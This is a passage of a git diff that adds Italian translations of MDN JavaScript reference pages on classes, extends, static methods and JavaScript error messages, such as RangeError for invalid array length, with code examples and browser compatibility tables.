+<pre class="brush: js">constructor(...args) {
+  super(...args);
+}</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_Browser">Compatibilità con i Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Specifica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto Base</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Costruttore predefinito</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Specifica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome per Android</th>
+  </tr>
+  <tr>
+   <td>Supporto Base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td>Costruttore predefinito</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super()</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/classes/extends/index.html b/files/it/web/javascript/reference/classes/extends/index.html
new file mode 100644
index 0000000000..ccf0cab627
--- /dev/null
+++ b/files/it/web/javascript/reference/classes/extends/index.html
@@ -0,0 +1,175 @@
+---
+title: extends
+slug: Web/JavaScript/Reference/Classes/extends
+translation_of: Web/JavaScript/Reference/Classes/extends
+---
+<div>{{jsSidebar("Classi")}}</div>
+
+<p>La parola chiave <strong>extends</strong> è utilizzata nella <a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">dichiarazione</a> o <a href="/en-US/docs/Web/JavaScript/Reference/Operators/class">espressione</a> di classe per creare una classe figlia di un'altra classe.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">class ChildClass extends ParentClass { ... }
+
+/**
+*@desc La classe ChildClass estende la classe ParentClass
+*/
+</pre>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>La parola chiave <code>extends</code> può essere utilizzata per creare una sottoclasse personalizzata basandosi su classi già esistenti e anche su oggetti nativi (cfr. <a href="en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a> object).</p>
+
+<p>Il <code>.prototype</code> dell'estensione deve essere un {{jsxref("Object")}} oppure {{jsxref("null")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzare_extends">Utilizzare <code>extends</code></h3>
+
+<p>Il primo esempio crea una classe chiamata <code>Square</code> dalla classe chiamata <code>Polygon</code>. Questo esempio è estratto da questo <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">demo live (sorgente)</a>.</p>
+
+<p> </p>
+
+<pre class="brush: js">class Square extends Polygon {
+  constructor(length) {
+    // Qui chiama il constructor della classe che estende (parent)
+    // con le misure per la larghezza e altezza del poligono
+    super(length, length);
+    // Nota: In classi derivate, super() deve essere chiamato prima
+    // di poter utilizzare 'this', altrimenti causerà un errore di reference.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+
+  set area(value) {
+    this.height = this.width = Math.sqrt(value);
+    this.area = value;
+  }
+}</pre>
+
+<h3 id="Utilizzare_extends_con_oggetti_nativi">Utilizzare <code>extends</code> con oggetti nativi</h3>
+
+<p>Questo esempio estende l'oggetto nativo {{jsxref("Date")}}. Questo esempio è estratto da questo <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">demo live (sorgente)</a>.</p>
+
+<pre class="brush: js">class myDate extends Date {
+  constructor() {
+    super();
+  }
+
+  getFormattedDate() {
+    var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
+    return this.getDate() + '-' + months[this.getMonth()] + '-' + this.getFullYear();
+  }
+}</pre>
+
+<h3 id="Estendere_null">Estendere <code>null</code></h3>
+
+<p>Estendere da {{jsxref("null")}} funziona come di norma, eccetto che l'oggetto prototipo non eredita da {{jsxref("Object.prototype")}}.</p>
+
+<pre class="brush: js">class nullExtends extends null {
+  constructor() {}
+}
+
+Object.getPrototypeOf(nullExtends); // Function.prototype
+Object.getPrototypeOf(nullExtends.prototype) // null</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-class-definitions', 'extends')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'extends')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Array subclassing</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td>Array subclassing</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/classes/index.html b/files/it/web/javascript/reference/classes/index.html
new file mode 100644
index 0000000000..6b600be205
--- /dev/null
+++ b/files/it/web/javascript/reference/classes/index.html
@@ -0,0 +1,270 @@
+---
+title: Classes
+slug: Web/JavaScript/Reference/Classes
+tags:
+  - Classes
+  - ECMAScript6
+  - Experimental
+  - Inheritance
+  - Intermediate
+  - JavaScript
+  - NeedsContent
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Classes
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<p>Le classi JavaScript, introdotte in ECMAScript 2015, sono principalmente zucchero sintattico sull'esistente ereditarietà prototipale di JavaScript. La sintassi <em>non</em><strong> </strong>introduce un nuovo modello di eredità orientata agli oggetti in JavaScript.</p>
+
+<h2 id="Definizione_classi">Definizione classi</h2>
+
+<p>Le classi sono di fatto delle "<a href="/en-US/docs/Web/JavaScript/Reference/Functions">funzioni</a> speciali", e così come puoi definire <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expressions</a> e <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function declarations</a>, la sintassi per la classe ha due componenti: <a href="/en-US/docs/Web/JavaScript/Reference/Operators/class">class expressions</a> e <a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">class declarations</a>.</p>
+
+<h3 id="Dichiarazione_classe">Dichiarazione classe</h3>
+
+<p>Un modo per definire una classe è quello di <strong>dichiararla</strong>. Per dichiarare una classe, usa la <em>keyword</em> <code>class</code> seguito dal nome della classe (in questo caso "Polygon").</p>
+
+<pre class="brush: js">class Polygon {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}</pre>
+
+<h4 id="Hoisting">Hoisting</h4>
+
+<p>Un'importante differenza tra la <strong>dichiarazione di una funzione</strong> e la <strong>dichiarazione di una classe</strong> è che le dichiarazioni di funzione sono {{Glossary("Hoisting", "hoisted")}} mentre quelle per le classi no. Bisogna dichiarare la classe e poi si può usarla, altrimenti il codice solleva un'eccezione {{jsxref("ReferenceError")}}:</p>
+
+<pre class="brush: js example-bad">var p = new Polygon(); // ReferenceError
+
+class Polygon {}
+</pre>
+
+<h3 id="Class_expressions">Class expressions</h3>
+
+<p>Una <strong>class expression</strong> è un altro modo di definire una classe. In questo caso possono avere un nome o meno. Il nome dato è locale al corpo della classe.</p>
+
+<pre class="brush: js">// unnamed
+var Polygon = class {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+};
+
+// named
+var Polygon = class Polygon {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+};
+</pre>
+
+<p><strong>Nota: </strong>anche le <strong>Class</strong> <strong>expressions </strong>soffrono degli stessi problemi di hoisting menzionati per le <strong>dichiarazioni di Classi.</strong></p>
+
+<h2 id="Corpo_della_classe_e_definizione_dei_metodi">Corpo della classe e definizione dei metodi</h2>
+
+<p>Il corpo di una classe è la parte inclusa tra le parentesi graffe <code>{}</code>. Qui si definiscono i membri della classe come il costruttore o i metodi.</p>
+
+<h3 id="Strict_mode">Strict mode</h3>
+
+<p>I corpi di <em>class declarations</em> e <em>class expression</em> sono eseguiti in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>.</p>
+
+<h3 id="Costruttore">Costruttore</h3>
+
+<p>Il <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/constructor">costruttore</a></code> è un metodo speciale usato per creare ed inizializzare un oggetto. Ci può essere un solo metodo con il nome "constructor" in una classe. Se la classe contiene più di un'occorrenza del costruttore verrà sollevato un {{jsxref("SyntaxError")}}.</p>
+
+<p>Un costruttore può usare la parola chiave <code>super</code> per richiamare il costruttore della classe padre.</p>
+
+<h3 id="Prototipi">Prototipi</h3>
+
+<p>Guarda anche <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a>.</p>
+
+<pre class="brush: js">class Polygon {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+
+  get area() {
+    return this.calcArea()
+  }
+
+  calcArea() {
+    return this.height * this.width;
+  }
+}</pre>
+
+<h3 id="Metodi_statici">Metodi statici</h3>
+
+<p>La parola chiave <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a></code> definisce un metodo statico. I metodi statici sono chiamati senza istanziare la loro classe e <strong>non</strong> possono essere chiamati su una classe istanziata. Vengono usati per creare funzioni di utilità.</p>
+
+<pre class="brush: js">class Point {
+    constructor(x, y) {
+        this.x = x;
+        this.y = y;
+    }
+
+    static distance(a, b) {
+        const dx = a.x - b.x;
+        const dy = a.y - b.y;
+
+        return Math.sqrt(dx*dx + dy*dy);
+    }
+}
+
+const p1 = new Point(5, 5);
+const p2 = new Point(10, 10);
+
+console.log(Point.distance(p1, p2));</pre>
+
+<h3 id="Inscatolamento_con_metodi_prototipo_e_statico">Inscatolamento con metodi prototipo e statico</h3>
+
+<p>Quando un metodo statico o prototipo è chiamato senza un oggetto valutato "this", allora il valore di "this" sarà <code><strong>undefined</strong></code> all'interno della funzione chiamata. L'autoinscatolamento non succederà. Il comportamento sarà lo stesso perfino se scriviamo il codice in modalità non-strict perché tutte le funzioni, metodi, costruttori, getter o setter sono eseguiti in modo strict. Così se non specifichiamo il valore <em>this</em>, allora sarà <code><strong>undefined.</strong></code></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">class</span> <span class="class-name token">Animal</span> <span class="punctuation token">{</span>
+  <span class="function token">speak</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">static</span> <span class="function token">eat</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">let</span> obj <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Animal</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+obj<span class="punctuation token">.</span><span class="function token">speak</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Animal {}</span>
+<span class="keyword token">let</span> speak <span class="operator token">=</span> obj<span class="punctuation token">.</span>speak<span class="punctuation token">;</span>
+<span class="function token">speak</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// undefined</span>
+
+Animal<span class="punctuation token">.</span><span class="function token">eat</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="comment token">// class Animal</span>
+<span class="keyword token">let</span> eat <span class="operator token">=</span> Animal<span class="punctuation token">.</span>eat<span class="punctuation token">;</span>
+<span class="function token">eat</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// undefined</span></code></pre>
+
+<p>Se scriviamo il codice soprascritto usando le tradizionali classi basate su funzioni, allora l'autoinscatolamento accadrà basato sul valore "this" peril quale la funzione è stata chiamata.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">Animal</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">}</span>
+
+Animal<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>speak <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+Animal<span class="punctuation token">.</span>eat <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">let</span> obj <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Animal</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">let</span> speak <span class="operator token">=</span> obj<span class="punctuation token">.</span>speak<span class="punctuation token">;</span>
+<span class="function token">speak</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// global object</span>
+
+<span class="keyword token">let</span> eat <span class="operator token">=</span> Animal<span class="punctuation token">.</span>eat<span class="punctuation token">;</span>
+<span class="function token">eat</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// global object</span></code></pre>
+
+<h2 id="Sottoclassi_con_extends">Sottoclassi con <code>extends</code></h2>
+
+<p>La keyword <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code> viene usata<code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends"> </a></code>nelle <em>class declarations</em> o <em>class expressions </em>per creare una classe figlia di un'altra classe.</p>
+
+<pre class="brush: js">class Animal {
+  constructor(name) {
+    this.name = name;
+  }
+
+  speak() {
+    console.log(this.name + ' makes a noise.');
+  }
+}
+
+class Dog extends Animal {
+  speak() {
+    console.log(this.name + ' barks.');
+  }
+}
+</pre>
+
+<p>Si possono anche estendere le classi tradizionali basate su funzioni:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> Animal <span class="punctuation token">(</span>name<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">this</span><span class="punctuation token">.</span>name <span class="operator token">=</span> name<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+Animal<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>speak <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>name <span class="operator token">+</span> <span class="string token">' makes a noise.'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">class</span> <span class="class-name token">Dog</span> <span class="keyword token">extends</span> <span class="class-name token">Animal</span> <span class="punctuation token">{</span>
+  <span class="function token">speak</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">super</span><span class="punctuation token">.</span><span class="function token">speak</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>name <span class="operator token">+</span> <span class="string token">' barks.'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">var</span> d <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Dog</span><span class="punctuation token">(</span><span class="string token">'Mitzie'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+d<span class="punctuation token">.</span><span class="function token">speak</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Sub_classing_built-in_objects">Sub classing built-in objects</h2>
+
+<p>TBD</p>
+
+<h2 id="Chiamare_una_superclasse_con_super">Chiamare una superclasse con <code>super</code></h2>
+
+<p>La keyword <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a></code> è usata per chiamare le funzioni di un oggetto padre.</p>
+
+<pre class="brush: js">class Cat {
+  constructor(name) {
+    this.name = name;
+  }
+
+  speak() {
+    console.log(this.name + ' makes a noise.');
+  }
+}
+
+class Lion extends Cat {
+  speak() {
+    super.speak();
+    console.log(this.name + ' roars.');
+  }
+}
+</pre>
+
+<h2 id="ES5_inheritance_syntax_and_ES6_classes_syntax_compared">ES5 inheritance syntax and ES6 classes syntax compared</h2>
+
+<p>TBD</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>TBD</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibili">Browser compatibili</h2>
+
+
+
+<p>{{Compat("javascript.classes")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Fun</a>zioni</li>
+ <li>{{jsxref("Statements/class", "class declaration")}}</li>
+ <li>{{jsxref("Operators/class", "class expression")}}</li>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-classes/">Blog post: "ES6 In Depth: Classes"</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/classes/static/index.html b/files/it/web/javascript/reference/classes/static/index.html
new file mode 100644
index 0000000000..7158316654
--- /dev/null
+++ b/files/it/web/javascript/reference/classes/static/index.html
@@ -0,0 +1,70 @@
+---
+title: static
+slug: Web/JavaScript/Reference/Classes/static
+translation_of: Web/JavaScript/Reference/Classes/static
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p>La parola <strong>static</strong> è utilizzata per  definire un metodo statico di una classe.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox notranslate">static nomeMetodo() { ... }</pre>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>La parola <strong>static</strong> definisce metodi statici per una classe. I metodi statici non sono invocati  sull'istanza della classe, ma sono invece invocati sulla classe stessa. Questi sono spesso metodi di supporto, as esempio funzioni per creare o clonare oggetti.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Il seguente esempio mostra diversi aspetti interessanti. Mostra come un metodo statico è implementato in una classe, e come una classe con metodi statici può essere estesa da altre classi. Infine da una dimostrazione di come un metodo statico può essere o non può essere invocato.</p>
+
+<pre class="brush: js notranslate">class Triplica {
+  static triplica(n) {
+    n = n | 1;
+    return n * 3;
+  }
+}
+
+class TriplicaAncora extends Triplica {
+  static triplica(n) {
+    return super.triplica(n) * super.triplica(n);
+  }
+}
+
+console.log(Triplica.triplica()); // 3
+console.log(Triplica.triplica(6));  // 18
+console.log(TriplicaAncora.triplica(3)); // 81
+var tp = new Triplica();
+console.log(tp.triplica()); //Logga 'tp.triplica is not a function' perché la classe è instanziata</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibili">Browser compatibili</h2>
+
+
+
+<p>{{Compat("javascript.classes.static")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/errors/index.html b/files/it/web/javascript/reference/errors/index.html
new file mode 100644
index 0000000000..c295fccea6
--- /dev/null
+++ b/files/it/web/javascript/reference/errors/index.html
@@ -0,0 +1,31 @@
+---
+title: JavaScript error reference
+slug: Web/JavaScript/Reference/Errors
+tags:
+  - Debugging
+  - Error
+  - Errors
+  - Exception
+  - JavaScript
+  - NeedsTranslation
+  - TopicStub
+  - exceptions
+translation_of: Web/JavaScript/Reference/Errors
+---
+<p>{{jsSidebar("Errors")}}</p>
+
+<p>Below, you'll find a list of errors which are thrown by JavaScript. These errors can be a helpful debugging aid, but the reported problem isn't always immediately clear. The pages below will provide additional details about these errors. Each error is an object based upon the {{jsxref("Error")}} object, and has a <code>name</code> and a <code>message</code>.</p>
+
+<p>Errors displayed in the Web console may include a link to the corresponding page below to help you quickly comprehend the problem in your code.</p>
+
+<h2 id="List_of_errors">List of errors</h2>
+
+<p>In this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message). Together, these two properties provide a starting point toward understanding and resolving the error. For more information, follow the links below!</p>
+
+<p>{{ListSubPages("/en-US/docs/Web/JavaScript/Reference/Errors")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a>: Beginner's introductory tutorial on fixing JavaScript errors.</li>
+</ul>
diff --git a/files/it/web/javascript/reference/errors/invalid_array_length/index.html b/files/it/web/javascript/reference/errors/invalid_array_length/index.html
new file mode 100644
index 0000000000..61ee1cba5f
--- /dev/null
+++ b/files/it/web/javascript/reference/errors/invalid_array_length/index.html
@@ -0,0 +1,77 @@
+---
+title: 'RangeError: invalid array length'
+slug: Web/JavaScript/Reference/Errors/Invalid_array_length
+tags:
+  - Errori
+  - JavaScript
+  - RangeError
+translation_of: Web/JavaScript/Reference/Errors/Invalid_array_length
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Messaggio">Messaggio</h2>
+
+<pre class="syntaxbox">RangeError: invalid array length (Firefox)
+RangeError: Invalid array length (Chrome)
+RangeError: Invalid array buffer length (Chrome)
+</pre>
+
+<h2 id="Tipo_di_errore">Tipo di errore</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Cosa_è_andato_storto">Cosa è andato storto?</h2>
+
+<p>Un invalid array length può comparire in queste situazioni:</p>
+
+<ul>
+ <li>Quando viene creato un {{jsxref("Array")}} o un {{jsxref("ArrayBuffer")}}  che ha lunghezza negativa o maggiore uguale a  2<sup>32</sup>, oppure</li>
+ <li>quando viene impostata la proprietà {{jsxref("Array.length")}}  a un valore che è negativo o maggiore uguale a 2<sup>32</sup>.</li>
+</ul>
+
+<p>Perché la lunghezza di <code>Array</code> e <code>ArrayBuffer</code> è limitata? La proprietà <code>length</code> di un <code>Array </code>o di un <code>ArrayBuffer</code> è rappresentata da un intero di 32-bit  senza segno, che quindi permette di memorizzare valori nell'intervallo da 0 a 2<sup>32 </sup>- 1.</p>
+
+<p>Se stai creando un <code>Array</code> utilizzando il costruttore, potresti invece utilizzare la notazione letterale dove il primo argomento è interpretato come la lunghezza dell' <code>Array</code>.</p>
+
+<p>Altrimenti, potresti voler bloccare la lunghezza prima di settare la proprietà length, o utilizzarla come argomento del costruttore.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Casi_non_validi">Casi non validi</h3>
+
+<pre class="brush: js example-bad">new Array(Math.pow(2, 40))
+new Array(-1)
+new ArrayBuffer(Math.pow(2, 32))
+new ArrayBuffer(-1)
+
+let a = [];
+a.length = a.length - 1;         // setta -1 alla proprietà length
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = b.length + 1;         // setta 2^32 alla proprietà length
+</pre>
+
+<h3 id="Casi_validi">Casi validi</h3>
+
+<pre class="brush: js example-good">[ Math.pow(2, 40) ]                     // [ 1099511627776 ]
+[ -1 ]                                  // [ -1 ]
+new ArrayBuffer(Math.pow(2, 32) - 1)
+new ArrayBuffer(0)
+
+let a = [];
+a.length = Math.max(0, a.length - 1);
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = Math.min(0xffffffff, b.length + 1);
+
+// 0xffffffff è la notazione esadecimale di 2^32 - 1
+// che può essere riscritta come (-1 &gt;&gt;&gt; 0)
+</pre>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.length")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html b/files/it/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html
new file mode 100644
index 0000000000..d2412e48ce
--- /dev/null
+++ b/files/it/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html
